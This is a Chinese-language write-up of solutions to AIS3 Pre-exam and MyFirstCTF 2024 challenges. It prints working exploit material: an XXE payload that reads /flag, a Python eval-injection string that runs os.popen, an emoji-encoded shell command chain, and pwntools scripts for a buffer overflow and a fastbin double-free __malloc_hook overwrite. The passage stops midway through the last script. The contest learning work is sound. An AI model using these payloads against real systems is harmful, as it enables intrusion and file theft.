# Header ## 名次 MyFirstCTF Screenshot: 2024/05/29 20:21 | At MyFirstCTF ![image](https://hackmd.io/_uploads/BJZp69VER.png) AIS3 Pre-exam Screenshot: 2024/05/29 20:20 | At AIS3 Pre-exam ![image](https://hackmd.io/_uploads/B125694EA.png) ## 心得 今年是第一次打MyFirstCTF跟AIS3 Pre-exam,最後還是覺得自己的表現不好,簡單的題目沒有在mfctf現場解出來,甚至是結賽了也沒解出來,賽後想通了但分數已經結算沒辦法幹嘛,覺得很後悔,也有碰到很多題目,現在能力完全不夠,打不出來。 明年肯定再戰,期望能超越今年的自己,希望可以打進前五,這期間得更認真提升自己了。 # Misc ## Welcome Screenshot: 2024/05/28 20:06 | At AIS3 Pre-exam ``[MyFirstCTF](O) | [AIS3 Pre-exam](O)`` ![image](https://hackmd.io/_uploads/HJQA_SQE0.png) Flag: ``AIS3{Welc0me_to_AIS3_PreExam_2o24!}`` ## Quantum Nim Heist Screenshot: 2024/05/28 20:08 | At AIS3 Pre-exam ``[MyFirstCTF](X) | [AIS3 Pre-exam](O)`` ![image](https://hackmd.io/_uploads/r1IStr74A.png) 跟電腦玩Nim Game ![image](https://hackmd.io/_uploads/SkjqFBm4A.png) 玩一玩發現在選擇動作時只要直接enter,就可以bypass一回合 ![image](https://hackmd.io/_uploads/H1_ZcHXE0.png) 原因是在``server.py``中,程式並沒有針對無效輸入做處理,直接繼續跑下去 ![image](https://hackmd.io/_uploads/Hyvl9Sm4A.png) Solve: 一直bypass直到剩下一條pipe ![image](https://hackmd.io/_uploads/r1Mh5HX4A.png) 把最後一條pipe上所有石頭拿走就贏了 ![image](https://hackmd.io/_uploads/BJWeiSX40.png) Flag: ``AIS3{Ar3_y0u_a_N1m_ma57er_0r_a_Crypt0_ma57er?}`` ## Three Dimensional Secret Screenshot: 2024/05/28 20:17 | At AIS3 Pre-exam ``[-](-) | [AIS3 Pre-exam](O)`` ![image](https://hackmd.io/_uploads/rJDUiBXE0.png) 使用纜線鯊魚打開題目附的封包檔 ![image](https://hackmd.io/_uploads/By6soBmE0.png) Follow TCP Stream,看到很多東西 ![image](https://hackmd.io/_uploads/SJITsrmNA.png) 這些東西是[GCode](https://zh.wikipedia.org/zh-tw/G%E4%BB%A3%E7%A0%81),所以上網找[工具](https://ncviewer.com/)跑他就好 跑完之後旋轉縮放一下,就可以看到被Print出來的flag ![image](https://hackmd.io/_uploads/B15YAr740.png) Flag: ``AIS3{b4d1y_tun3d_PriN73r}`` ## Emoji Console Screenshot: 2024/05/28 20:33 | At AIS3 Pre-exam ``[MyFirstCTF](O) | [AIS3 Pre-exam](O)`` ![image](https://hackmd.io/_uploads/SyyMyLQV0.png) 一個console,你只能用這些emoji組合出命令 ![image](https://hackmd.io/_uploads/rkuD187NC.png) 想執行自己打的東西就會直接罷工 ![image](https://hackmd.io/_uploads/ry_K1L74R.png) 🐱 🚩 ``cat flag`` 發現``flag``是一個資料夾 ![image](https://hackmd.io/_uploads/ryULxLmVC.png) 🐱 ⭐ ``cat *`` 取得原始碼 ![image](https://hackmd.io/_uploads/HJG1lLXNA.png) Source: ```python= #!/usr/local/bin/python3 import os from flask import Flask,send_file,request,redirect,jsonify,render_template import json import string def translate(command:str)->str: emoji_table = json.load(open('emoji.json','r',encoding='utf-8')) for key in emoji_table: if key in command: command = command.replace(key,emoji_table[key]) return command.lower() app = Flask(__name__) @app.route('/') def index(): return render_template('index.html') @app.route('/api') def api(): command = request.args.get('command') if len(set(command).intersection(set(string.printable.replace(" ",''))))>0: return jsonify({'command':command,'result':'Invalid command'}) command = translate(command) result = os.popen(command+" 2>&1").read() return jsonify({'command':command,'result':result}) if __name__ == '__main__': app.run('0.0.0.0',5000) { "😀": ":D", "😁": ":D", "😂": ":')", "🤣": "XD", "😃": ":D", "😄": ":D", "😅": "':D", "😆": "XD", "😉": ";)", "😊": ":)", "😋": ":P", "😎": "B)", "😍": ":)", "😘": ":*", "😗": ":*", "😙": ":*", "😚": ":*", "☺️": ":)", "🙂": ":)", "🤗": ":)", "🤩": ":)", "🤔": ":?", "🤨": ":/", "😐": ":|", "😑": ":|", "😶": ":|", "🙄": ":/", "😏": ":]", "😣": ">:", "😥": ":'(", "😮": ":o", "🤐": ":x", "😯": ":o", "😪": ":'(", "😫": ">:(", "😴": "Zzz", "😌": ":)", "😛": ":P", "😜": ";P", "😝": "XP", "🤤": ":P", "😒": ":/", "😓": ";/", "😔": ":(", "😕": ":/", "🙃": "(:", "🤑": "$)", "😲": ":O", "☹️": ":(", "🙁": ":(", "😖": ">:(", "😞": ":(", "😟": ":(", "😤": ">:(", "😢": ":'(", "😭": ":'(", "😦": ":(", "😧": ">:(", "😨": ":O", "😩": ">:(", "🤯": ":O", "😬": ":E", "😰": ":(", "😱": ":O", "🥵": ">:(", "🥶": ":(", "😳": ":$", "🤪": ":P", "😵": "X(", "🥴": ":P", "😠": ">:(", "😡": ">:(", "🤬": "#$%&!", "🤕": ":(", "🤢": "X(", "🤮": ":P", "🤧": ":'(", "😇": "O:)", "🥳": ":D", "🥺": ":'(", "🤡": ":o)", "🤠": "Y)", "🤥": ":L", "🤫": ":x", "🤭": ":x", "🐶": "dog", "🐱": "cat", "🐭": "mouse", "🐹": "hamster", "🐰": "rabbit", "🦊": "fox", "🐻": "bear", "🐼": "panda", "🐨": "koala", "🐯": "tiger", "🦁": "lion", "🐮": "cow", "🐷": "pig", "🐽": "pig nose", "🐸": "frog", "🐒": "monkey", "🐔": "chicken", "🐧": "penguin", "🐦": "bird", "🐤": "baby chick", "🐣": "hatching chick", "🐥": "front-facing baby chick", "🦆": "duck", "🦅": "eagle", "🦉": "owl", "🦇": "bat", "🐺": "wolf", "🐗": "boar", "🐴": "horse", "🦄": "unicorn", "🐝": "bee", "🐛": "bug", "🦋": "butterfly", "🐌": "snail", "🐞": "lady beetle", "🐜": "ant", "🦟": "mosquito", "🦗": "cricket", "🕷️": "spider", "🕸️": "spider web", "🦂": "scorpion", "🐢": "turtle", "🐍": "python", "🦎": "lizard", "🦖": "T-Rex", "🦕": "sauropod", "🐙": "octopus", "🦑": "squid", "🦐": "shrimp", "🦞": "lobster", "🦀": "crab", "🐡": "blowfish", "🐠": "tropical fish", "🐟": "fish", "🐬": "dolphin", "🐳": "whale", "🐋": "whale", "🦈": "shark", "🐊": "crocodile", "🐅": "tiger", "🐆": "leopard", "🦓": "zebra", "🦍": "gorilla", "🦧": "orangutan", "🦣": "mammoth", "🐘": "elephant", "🦛": "hippopotamus", "🦏": "rhinoceros", "🐪": "camel", "🐫": "two-hump camel", "🦒": "giraffe", "🦘": "kangaroo", "🦬": "bison", "🦥": "sloth", "🦦": "otter", "🦨": "skunk", "🦡": "badger", "🐾": "paw prints", "◼️": "black square", "◻️": "white square", "◾": "black medium square", "◽": "white medium square", "▪️": "black small square", "▫️": "white small square", "🔶": "large orange diamond", "🔷": "large blue diamond", "🔸": "small orange diamond", "🔹": "small blue diamond", "🔺": "triangle", "🔻": "triangle", "🔼": "triangle", "🔽": "triangle", "🔘": "circle", "⚪": "circle", "⚫": "black circle", "🟠": "orange circle", "🟢": "green circle", "🔵": "blue circle", "🟣": "purple circle", "🟡": "yellow circle", "🟤": "brown circle", "⭕": "empty circle", "🅰️": "A", "🅱️": "B", "🅾️": "O", "ℹ️": "i", "🅿️": "P", "Ⓜ️": "M", "🆎": "AB", "🆑": "CL", "🆒": "COOL", "🆓": "FREE", "🆔": "ID", "🆕": "NEW", "🆖": "NG", "🆗": "OK", "🆘": "SOS", "🆙": "UP", "🆚": "VS", "㊗️": "祝", "㊙️": "秘", "🈺": "營", "🈯": "指", "🉐": "得", "🈹": "割", "🈚": "無", "🈲": "禁", "🈸": "申", "🈴": "合", "🈳": "空", "🈵": "滿", "🈶": "有", "🈷️": "月", "🚗": "car", "🚕": "taxi", "🚙": "SUV", "🚌": "bus", "🚎": "trolleybus", "🏎️": "race car", "🚓": "police car", "🚑": "ambulance", "🚒": "fire engine", "🚐": "minibus", "🚚": "delivery truck", "🚛": "articulated lorry", "🚜": "tractor", "🛴": "kick scooter", "🚲": "bicycle", "🛵": "scooter", "🏍️": "motorcycle", "✈️": "airplane", "🚀": "rocket", "🛸": "UFO", "🚁": "helicopter", "🛶": "canoe", "⛵": "sailboat", "🚤": "speedboat", "🛳️": "passenger ship", "⛴️": "ferry", "🛥️": "motor boat", "🚢": "ship", "👨": "man", "👩": "woman", "👶": "baby", "🧓": "old man", "👵": "old woman", "💿": "CD", "📀": "DVD", "📱": "phone", "💻": "laptop", "🖥️": "pc", "🖨️": "printer", "⌨️": "keyboard", "🖱️": "mouse", "🖲️": "trackball", "🕹️": "joystick", "🗜️": "clamp", "💾": "floppy disk", "💽": "minidisc", "☎️": "telephone", "📟": "pager", "📺": "television", "📻": "radio", "🎙️": "studio microphone", "🎚️": "level slider", "🎛️": "control knobs", "⏰": "alarm clock", "🕰️": "mantelpiece clock", "⌚": "watch", "📡": "satellite antenna", "🔋": "battery", "🔌": "plug", "🚩": "flag", "⓿": "0", "❶": "1", "❷": "2", "❸": "3", "❹": "4", "❺": "5", "❻": "6", "❼": "7", "❽": "8", "❾": "9", "❿": "10", "⭐": "*", "➕": "+", "➖": "-", "✖️": "×", "➗": "÷" } ``` 對照著原始碼繼續構建Payload Payload: 💿 🚩 😜😐🐱 ⭐ ``cd flag ;P:|cat *`` 戳到``flag-printer.py`` ![image](https://hackmd.io/_uploads/Sk4nxIXEC.png) Payload: 💿 🚩 😜😐🐍 ⭐ ``cd flag ;P:|python *`` 執行``flag-printer.py`` ![image](https://hackmd.io/_uploads/SJ2Al8Q40.png) Flag: AIS3{🫵🪡🉐🤙🤙🤙👉👉🚩👈👈} # Web ## Capoost Screenshot: 2024/05/27 07:41 | At AIS3 Pre-exam ``[MyFirstCTF](X) | [AIS3 Pre-exam](O)`` ![image](https://hackmd.io/_uploads/H1-3_BZ4C.png) new post,選擇template時發現了這個api ![image](https://hackmd.io/_uploads/SkVQKrWNR.png) 這個api存在任意檔案讀取,可以把環境裡面所有東西弄出來 ![image](https://hackmd.io/_uploads/rkT4tBbVA.png) 先把Source Code那些東西弄出來 可以在``/app/models/user/user.go``內發現管理員帳號的名稱為``4dm1n1337``,密碼隨機產生 ![image](https://hackmd.io/_uploads/HkzZcr-V0.png) 跟著第二條提示去看分別在``/app/router/user/user.go``跟``/app/models/user/user.go``的這兩段程式碼,越看越奇怪,就想說好像只有針對username做處理,如果我密碼不打會怎樣? ![image](https://hackmd.io/_uploads/BkAEqS-ER.png) ![image](https://hackmd.io/_uploads/HkAr5HWVA.png) 開啟BurpSuite,在登入請求送出時把密碼改成空白 ![image](https://hackmd.io/_uploads/H1aJsBZVA.png) 登入成功 ![image](https://hackmd.io/_uploads/SyYgoSZNC.png) 我試過直接f12把``required``拔掉,但還是會出事情 ![image](https://hackmd.io/_uploads/SJSEoHZEA.png) 登入管理員帳號之後,我繼續看程式碼,看到位於``/app/router/post/post.go``的這段程式,達成條件之後,``readflag()``被包進去模板,所以要想辦法在模板中執行到``readflag()`` ![image](https://hackmd.io/_uploads/SJ1_srZE0.png) 但是執行這塊程式的條件是,**那個post必須是管理員發出的(``nowpost.Owner.ID == 1``)** 我原本想說直接用管理員帳號post,結果被擋掉了 看程式碼發現是創建post的route設有檢查,管理員不能創建post ![image](https://hackmd.io/_uploads/rJPK2SbN0.png) ``/app/middlewares/auth/auth.go`` ![image](https://hackmd.io/_uploads/HkkpnrbNR.png) 只能回到post function,根據第五個hint猜測可能是ln42有問題 ![image](https://hackmd.io/_uploads/HJok6rZER.png) 猜想如果在送出的postdata內亂寫東西,這些亂寫的部分是不是也會被解析,並應用到後面的處理 嘗試在送出的postdata中加入``"owner"="4dm1n1337"`` 用一個非管理員帳號登入,不然過不了middlewares ![image](https://hackmd.io/_uploads/BkINJUWNA.png) create post,送出時把request攔下並修改資料 ![image](https://hackmd.io/_uploads/SkCuyLZEA.png) 看來是不會壞掉 ![image](https://hackmd.io/_uploads/B1lsJ8bV0.png) 現在已經找到可以不用登入管理員就可以生出一個``newpost.Owner.ID == 1``的post了 接下來的步驟就是 1. 創建一個可以執行``readflag``的模板 2. 在非管理員登入的情況下生出一個``newpost.Owner.ID == 1``、採用上步驟模板的post 3. 查看post,拿flag 先切去管理員帳號,創建一個模板 ![image](https://hackmd.io/_uploads/r1tZW8ZN0.png) 在這裡func name為``G1V3m34Fl4gpL34s3``是因為在``/app/router/post/post.go``中,``readflag``包進template的名字就是``G1V3m34Fl4gpL34s3``(ln94) 接著切回非管理員帳號,去生出一個post ![image](https://hackmd.io/_uploads/HJ6d-8-EC.png) 一樣的攔截request,竄改資料 ![image](https://hackmd.io/_uploads/ryzoZUbVC.png) 想讀取結果出事了 ![image](https://hackmd.io/_uploads/SJh3-IZER.png) 發現是``403 forbidden`` ![image](https://hackmd.io/_uploads/HyXCb8ZV0.png) 應該是``/app/router/post/post.go``的這一段的問題(這個route好像也只有這裡會噴403 ![image](https://hackmd.io/_uploads/ByXlz8WNC.png) 所以不能讓回傳的字串內有``AIS3`` 解法是用``slice``切回傳的字串,讓他從index 1開始輸出 ![image](https://hackmd.io/_uploads/SJHPfUZV0.png) 最後在前面補上一個``A``就好 ![image](https://hackmd.io/_uploads/Sy7hM8-4R.png) Flag: ``AIS3{go_4w4y_WhY_Ar3_y0U_H3R3_Capoo:(}`` ## Ebook Parser Screenshot: 2024/05/28 19:20 | At AIS3 Pre-exam ``[MyFirstCTF](X) | [AIS3 Pre-exam](O)`` ![image](https://hackmd.io/_uploads/ryhy0NmNA.png) 從``app.py``中可以看到,上傳的檔案會被賦予隨機的檔案名稱,存在暫存資料夾中,最後丟進去ln35的``ebookmeta.get_metadata()``解析並回傳資料。 ![image](https://hackmd.io/_uploads/SkNIRV7N0.png) 這裡看``ebookmeta``解析``.fb2``檔案的程式碼,位於``fb2.py``中 如截圖所見,檔案內容會被丟進去``etree.parse()``,解析裡面的XML,但是這個模組的寫法並沒有關掉實體解析,導致我們可以玩XXE Injection ![image](https://hackmd.io/_uploads/BJ8RJB7ER.png) Solve: 隨便找一個FB2,把Payload塞在裡面,最後上傳,目標檔案的內容就會出現在回傳的資料中。 Payload: ```xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///flag" > ]> <FictionBook xmlns="http://www.gribuser.ru/xml/fictionbook/2.0" xmlns:l="http://www.w3.org/1999/xlink"> <description> <title-info> <genre>antique</genre> <author><first-name></first-name><last-name>aaa</last-name></author> <book-title>&xxe;</book-title> <lang> eee </lang> </title-info> <document-info> <author><first-name></first-name><last-name>aaa</last-name></author> <program-used>calibre 4.99.5</program-used> <date>26.5.2024</date> <version>1.0</version> </document-info> <publish-info> <year>2024</year> <book-name>bababbab</book-name> </publish-info> </description> <body> <section> <p>aaaaa</p> </section> </body> </FictionBook> ``` ![image](https://hackmd.io/_uploads/HyLq_BQ4C.png) Flag: ``AIS3{LP#1742885: lxml no longer expands external entities (XXE) by default}`` ## Eval Calc Screenshot: 2024/05/28 20:01 | At AIS3 Pre-exam ``[MyFirstCTF](O) | [AIS3 Pre-exam](O)`` ![image](https://hackmd.io/_uploads/H1_1vrX40.png) 計算機 ![image](https://hackmd.io/_uploads/HkaTwBm4R.png) 在``app.py``可以看到,計算的方式就是直接丟進去``eval()``(ln10) 只有過濾掉空白跟底線 ![image](https://hackmd.io/_uploads/SkiADBQEC.png) 解法就是再套一個eval,被禁掉的字元用``chr()``生出來就好 Payload: `` {"expression": "eval(chr(95)+chr(95)+'import'+chr(95)+chr(95)+'('+chr(39)+'os'+chr(39)+').popen('+chr(39)+'cat${IFS}/flag'+chr(39)+').read()')"} `` ![image](https://hackmd.io/_uploads/rJad_SXEA.png) Flag: ``AIS3{7RiANG13_5NAK3_I5_50_3Vi1}`` # Reverse ## long print Screenshot: 2024/05/28 20:54 | At AIS3 Pre-exam ``[MyFirstCTF](O) | [AIS3 Pre-exam](O)`` ![image](https://hackmd.io/_uploads/HyzGVU7N0.png) 使用Ghidra反編譯,看到超級久``sleep()`` ![image](https://hackmd.io/_uploads/r1wdV87EC.png) Solve: 把``MOV EDI, 0x3474``Patch成``MOV EDI, 0x1``就好 ![image](https://hackmd.io/_uploads/SyDaVIX40.png) After: ![image](https://hackmd.io/_uploads/HJxSrIXNR.png) 讓他跑 ![image](https://hackmd.io/_uploads/Hy6nHUm40.png) Flag: ``AIS3{You_are_the_master_of_time_management!!!!?}`` ## 火拳のエース Screenshot: 2024/05/28 21:03 | At AIS3 Pre-exam ``[MyFirstCTF](O) | [AIS3 Pre-exam](O)`` ![image](https://hackmd.io/_uploads/SyP-UImV0.png) 會先執行``print_flag()`` ![image](https://hackmd.io/_uploads/r1PsULX4R.png) 但是有超級久``usleep()`` ![image](https://hackmd.io/_uploads/rk5pILmVA.png) 這裡的解法就是Patch,把``usleep()``傳入值改成``1``就好 ![image](https://hackmd.io/_uploads/HyLWw8m4R.png) 但是他沒給完整 ![image](https://hackmd.io/_uploads/rJSNwLQE0.png) 可以看到程式後面會要求輸入,並把輸入分別存入四個buffer(ln21) 把這四個buffer經過一連串的處理(ln22 ~ ln35),最後跟一些奇怪的字串做比較(ln36 ~ ln49),比較成功就過關了 ![image](https://hackmd.io/_uploads/S1k_PLXEA.png) ``xor_strings()``內容 ![image](https://hackmd.io/_uploads/SJYyuUQNA.png) 他的邏輯寫成python其實就是 ```python= for i in range(8): param_1[i] = chr(ord(param_1[i]) ^ param_2[i]) ``` 接著是``complex_function()`` 因為用Ghidra看的結果怪怪的,這裡改用IDA看 ![image](https://hackmd.io/_uploads/BJ8Jq87NR.png) 直接改寫成python版本就好 ```python= def complex_function(a1, a2): if 64 < char and char < 91: v8 = (17 * a2 + a1 - 65) % 26 v7 = a2 % 3 + 3 v2 = a2 % 3 if ( a2 % 3 == 2 ): v8 = (v8 - v7 + 26) % 26 elif ( v2 <= 2 ): if ( v2 ): if ( v2 == 1 ): v8 = (2 * v7 + v8) % 26 else: v8 = (v7 * v8 + 7) % 26 return v8 + 65 ``` 最後就直接爆破就好 Solve: ```python= # The flag is A I S 3 { G 0 D def complex_function(char:int, idx:int): a1 = char a2 = idx if 64 < char and char < 91: v8 = (17 * a2 + a1 - 65) % 26 v7 = a2 % 3 + 3 v2 = a2 % 3 if ( a2 % 3 == 2 ): v8 = (v8 - v7 + 26) % 26 elif ( v2 <= 2 ): if ( v2 ): if ( v2 == 1 ): v8 = (2 * v7 + v8) % 26 else: v8 = (v7 * v8 + 7) % 26 return v8 + 65 bfb0 = [0x0e, 0x0d, 0x7d, 0x06, 0x0f, 0x17, 0x76, 0x04] bfb1 = [0x6d, 0x00, 0x1b, 0x7c, 0x6c, 0x13, 0x62, 0x11] bfb2 = [0x1e, 0x7e, 0x06, 0x13, 0x07, 0x66, 0x0e, 0x71] bfb3 = [0x17, 0x14, 0x1d, 0x70, 0x79, 0x67, 0x74, 0x33] def exp(bfb0, strcmp, offset): for i in range(8): flag = True for t in range(32, 127): h5 = t h6 = bfb0[i] result = hex(h5 ^ h6).replace("0x", "") c1 = int(result, 16) c2 = complex_function(c1, i+offset) if c2 == ord(strcmp[i]): print(chr(t), end = "") flag = False break if (flag): print("?", end = "") print("The flag is A I S 3 { G 0 D".replace(" ", ""), end = "") exp(bfb0, "DHLIYJEG", 0x00) exp(bfb1, "MZRERYND", 0x20) exp(bfb2, "RUYODBAH", 0x40) exp(bfb3, "BKEMPBRE", 0x60) ``` ![image](https://hackmd.io/_uploads/HkZBcIQNC.png) Flag: ``AIS3{G0D_D4MN_4N9R_15_5UP3R_P0W3RFU1!!!}`` ## faker's Really OP meow way Screenshot: 2024/05/28 22:32 | At AIS3 Pre-exam ``[MyFirstCTF](O) | [AIS3 Pre-exam](O)`` ![image](https://hackmd.io/_uploads/Skizow7NR.png) 使用Ghidra分析,可以看到程式讀取了flag存入``local_108``,產生了48bytes的隨機值存入``local_168`` 接著把``main function``、``local_168(48bytes隨機值)``寄送給遠端服務器 執行``runcommand()``之後,比較``local_138``、``local_168`` 猜測是要讓``local_138``跟``local_168``一樣 ![image](https://hackmd.io/_uploads/S1k5jwmNC.png) ``runcommand()``中接收了遠端服務器傳過來的東西,然後就,沒了? ![image](https://hackmd.io/_uploads/HJ-Lhv7EC.png) 使用GDB進行動態分析,在執行``runcommand()``之前下斷點 此時的stack狀態 ![image](https://hackmd.io/_uploads/rkxmpDmER.png) 步進``runcommand()``,走完之後發現return address被改掉,整個stack被爆改得像是在打ROP一樣 ![image](https://hackmd.io/_uploads/HyGppPQVR.png) 接下來就是繼續步進並分析,這裡先放上一張stack截圖 ![image](https://hackmd.io/_uploads/H1sECvXEA.png) 程式會把``flag[0]``拿出來存到``rax`` 執行到``0x7fffffffc038 --> 0x5555555552d3 (<gadget+22>: pop rbx)``時,``0x82 (key[0])``就會被pop出來存到``rbx`` 接著將``rax``、``rbx``相加,存入``locak_138[0]`` 接著程式會把``flag[1]``拿出來存到``rax`` 執行到``0x7fffffffc080 --> 0x5555555552d3 (<gadget+22>: pop rbx)``時,``0x3b (key[1])``就會被pop出來存到``rbx`` 接著將``rax``、``rbx``相加,存入``local_138[1]`` 接著程式會把``flag[2]``拿出來存到``rax`` 執行到``0x7fffffffc0c8 --> 0x5555555552d3 (<gadget+22>: pop rbx)``時,``0x88 (key[2])``就會被pop出來存到``rbx`` 接著將``rax``、``rbx``互相xor,存入``local_138[2]`` 接著就會繼續在相加、相減、xor不斷循環,並將結果存入``local_138`` ![image](https://hackmd.io/_uploads/r1q5pdQ4A.png) 由此可知,反推``flag[0]``就是``local_168[0] - key[0]`` 反推``flag[1]``就是``local_168[1] + key[1]`` 反推``flag[2]``就是``local_168[2] ^ key[2]`` 如此循環就可以反推出flag全貌 弄到這裡也可以知道,這支程式其實就是先讀取flag、產生48bytes隨機值放入``local_168``,把``local_168``內容及``main()``傳送給服務器,服務器依據傳送的資料產生key、構建ROP並回傳,最後執行上述和key相加、相減、xor的動作。 我解題的大部分過程沒有編寫腳本,自己把``local_168``跟``key``一個一個抓下來並反推,這要耗很多時間,也很麻煩。 此外,由於flag每位只有1bytes,範圍``-128~127``,但是反推出來的值可能超過這個範圍,所以要自己轉換回來。 這裡把所有key補齊 ![image](https://hackmd.io/_uploads/SJp0Tt7EC.png) ![image](https://hackmd.io/_uploads/BkOk0YQE0.png) ![image](https://hackmd.io/_uploads/Hk2eAK7ER.png) ![image](https://hackmd.io/_uploads/H1mW0tmNR.png) ![image](https://hackmd.io/_uploads/HJpWAK7NR.png) ![image](https://hackmd.io/_uploads/BkPzRKX4R.png) ![image](https://hackmd.io/_uploads/r1OmRKX4C.png) ``` flag[0] = local_168[0] - key[0] = 0x41 'A' flag[1] = local_168[1] + key[1] = 0x49 'I' flag[2] = local_168[2] ^ key[2] = 0x53 'S' flag[3] = local_168[3] - key[3] = 0x33 '3' flag[4] = local_168[4] + key[4] = 0x7b '{' flag[5] = local_168[5] ^ key[5] = 0x72 'r' flag[6] = local_168[6] - key[6] = 0x33 '3' flag[7] = local_168[7] + key[7] = 0x176 -> 0x76 'v' flag[8] = local_168[8] ^ key[8] = 0x33 '3' flag[9] = local_168[9] - key[9] = 0x72 'r' flag[10] = local_168[10] + key[10] = 0x135 -> 0x35 '5' flag[11] = local_168[11] ^ key[11] = 0x31 '1' flag[12] = local_168[12] - key[12] = 0x6e 'n' flag[13] = local_168[13] + key[13] = 0x136 -> 0x36 '6' flag[14] = local_168[14] ^ key[14] = 0x5f '_' flag[15] = local_168[15] - key[15] = 0x72 'r' flag[16] = local_168[16] + key[16] = 0x130 -> 0x30 '0' flag[17] = local_168[17] ^ key[17] = 0x70 -> 'p' flag[18] = local_168[18] - key[18] = -0xa1 -> 0x5f '_' flag[19] = local_168[19] + key[19] = 0x131 -> 0x31 '1' flag[20] = local_168[20] ^ key[20] = 0x35 '5' flag[21] = local_168[21] - key[21] = 0x5f '_' flag[22] = local_168[22] + key[22] = 0x63 'c' flag[23] = local_168[23] ^ key[23] = 0x40 '0' flag[24] = local_168[24] - key[24] = 0x40 '0' flag[25] = local_168[25] + key[25] = 0x16c -> 0x6c 'l' flag[26] = local_168[26] ^ key[26] = 0x5f '_' flag[27] = local_168[27] - key[27] = 0x72 'r' flag[28] = local_168[28] + key[28] = 0x131 -> 0x31 '1' flag[29] = local_168[29] ^ key[29] = 0x36 '6' flag[30] = local_168[30] - key[30] = -0x98 -> 0x68 'h' flag[31] = local_168[31] + key[31] = 0x137 -> 0x37 '7' flag[32] = local_168[32] ^ key[32] = 0x3f '?' flag[33] = local_168[33] ^ key[33] = 0x3f '?' flag[34] = local_168[34] ^ key[34] = 0x3f '?' flag[35] = local_168[35] ^ key[35] = 0x7d '}' ... ``` 喔乾,又重新算了一次flag,好累 Flag: ``AIS3{r3v3r51n6_r0p_15_c00l_r16h7???}`` # Pwn ## Mathter Screenshot 2024/05/29 01:04 | At AIS3 Pre-exam ``[MyFirstCTF](O) | [AIS3 Pre-exam](O)`` ![image](https://hackmd.io/_uploads/HyhoRF7EA.png) 不太需要擔心stack canary,真正有漏洞的地方沒有canary檢查 ![image](https://hackmd.io/_uploads/B1l3_5N4A.png) 就是一個計算機 ![image](https://hackmd.io/_uploads/rJJVVcEV0.png) 在main function中可以看到兩個function,``calculator()``跟``goodbye()`` ![image](https://hackmd.io/_uploads/rJO9Vq44C.png) ``calculator()``看起來沒啥問題,但可以看到如果輸入``q``,就會直接return ![image](https://hackmd.io/_uploads/SyrC4c44R.png) return之後就是往下走進``goodbye()`` 這裡可以看到很明顯的bof,可以改return address跳去任何地方 ![image](https://hackmd.io/_uploads/rJ2Yr5EVA.png) 有兩個win function ![image](https://hackmd.io/_uploads/B126rcVVC.png) 這裡先看``win1()``,可以看到前面有檢查(ln10),傳入值要達成條件才給過 ![image](https://hackmd.io/_uploads/ry-yOcE4C.png) 但是我們可以直接跳過檢查,跳到開始讀取flag的部分(``0x4018e6``) ![image](https://hackmd.io/_uploads/ByF8_94N0.png) 但如果直接跑下去就掛了 ![image](https://hackmd.io/_uploads/B1slFcNVR.png) 使用GDB發現是因為``saved rbp``被蓋爛,``rbp``被變成無效地址,導致涉及``rbp``暫存器,或是涉及stack的操作大部分爛掉了 就像是這張截圖,執行到``win1+58``的時候,要把位址``rbp-0x8``的值複製到``rax``,但``rbp``已經爛掉了,所以執行到這裡就爆掉了 ![image](https://hackmd.io/_uploads/BJzUY944A.png) 解決的方法就是找一個可寫的記憶體區段,把那個區段的最高位址蓋到``saved rbp`` 就決定選你了,``0x004bf000`` ![image](https://hackmd.io/_uploads/BJ545cVNA.png) 但是他只給一半QQ 所以要另外寫一個跳到``win2()`` ![image](https://hackmd.io/_uploads/SyaZ39VVA.png) Solve: ```python= from pwn import * win = int(input("win1 or win2 [1, 2]: ")) r = remote("chals1.ais3.org", 50001) # r = process("./mathter") r.sendlineafter(b" : ", b"q") r.recvline() r.recvline() if win == 1: r.sendline(b'a'*4+p64(0x004bf000)+p64(0x4018e6)) elif win == 2: r.sendline(b'a'*4+p64(0x004bf000)+p64(0x4019b8)) else: print("what the fuck?") exit(0) r.interactive() ``` ![image](https://hackmd.io/_uploads/BJ7_h5E4C.png) 最後把flag拼在一起就好 ``` AIS3{0mg_k4zm4_mu57_ k4zm4_mu57_b3_k1dd1ng_m3_2e89c9} ``` Flag: ``AIS3{0mg_k4zm4_mu57_b3_k1dd1ng_m3_2e89c9}`` ## Inception Screenshot: 2024/05/29 20:19 | At AIS3 Pre-exam ``[-](-) | [AIS3 Pre-exam](O)`` ![image](https://hackmd.io/_uploads/HJfN6cNN0.png) 提供三個操作,``create``、``delete``、``show`` ![image](https://hackmd.io/_uploads/S1aOgo4VC.png) 查看原始碼可以看到,``create``部分,題目只提供三種size,接著``malloc(size)``,接收輸入並存入 ![image](https://hackmd.io/_uploads/S1q2xsEV0.png) ``delete``的部分,程式free掉chunk之後沒有清除ptr,這給了我們進行攻擊的機會 ![image](https://hackmd.io/_uploads/Sk3zWiV4C.png) ``show``的部分,雖然有檢查ptr是否為``null``,但是``delete``沒有清除ptr,所以這部分的檢查沒用 ![image](https://hackmd.io/_uploads/H1AbZoE4C.png) 解法先創建一個``0x108``大小的chunk(0),再創建一個``0x68``大小的chunk(1),把0跟top chunk分開,避免free掉之後併回去top chunk delete(0)之後show(0)獲取libc address,反推libc base。 接著創建一個``0x68``大小的chunk(3),依照1、3、1順序delete 這時fastbin內就存在了double free的狀況,可以先去找一個合適的地方做任意寫入,這裡選擇竄改``__malloc_hook`` 需要偽造size,``&__malloc_hook - 0x23``的位置剛好有個``0x7f``可以利用,決定寫入點 ![image](https://hackmd.io/_uploads/Hk35wiN4C.png) 接著create大小``0x68``chunk就會拿到原本的1,此時在裡面填入決定好的address``&__malloc_hook - 0x23``偽造``fd`` create兩個``0x68``大小的chunk,再create一個``0x68``大小的chunk,就會拿到我們的寫入點,寫入東西把``__malloc_hook``竄改 如果``__malloc_hook``有寫東西進去,在執行``malloc``時,libc就會把``__malloc_hook``裡面的東西當成位址並跳轉過去執行。所以我們如果填寫一些one_gadget或是system的address進去,libc就會跳轉過去執行,就可以得到一個shell。 至於最後要寫什麼在``__malloc_hook``裡面,我手上剛好有一些one_gadget,這裡就帶大夥一個一個嘗試 ![image](https://hackmd.io/_uploads/H1iFOo4VC.png) 最後發現第三個one_gadget``0xf1247``可以用,所以就在``__malloc_hook``內填入這個one_gadget的地址 Solve: ```python= def add(size, content): r.sendlineafter(b"> ", b"1") r.sendlineafter(b"> ", str(size).encode()) r.sendlineafter(b": ", content) def delete(option): r.sendlineafter(b"> ", b"3") r.sendlineafter(b"> ", str(option).encode()) from pwn import * r = remote("chals1.ais3.org", 50003) # r = process("./inception", 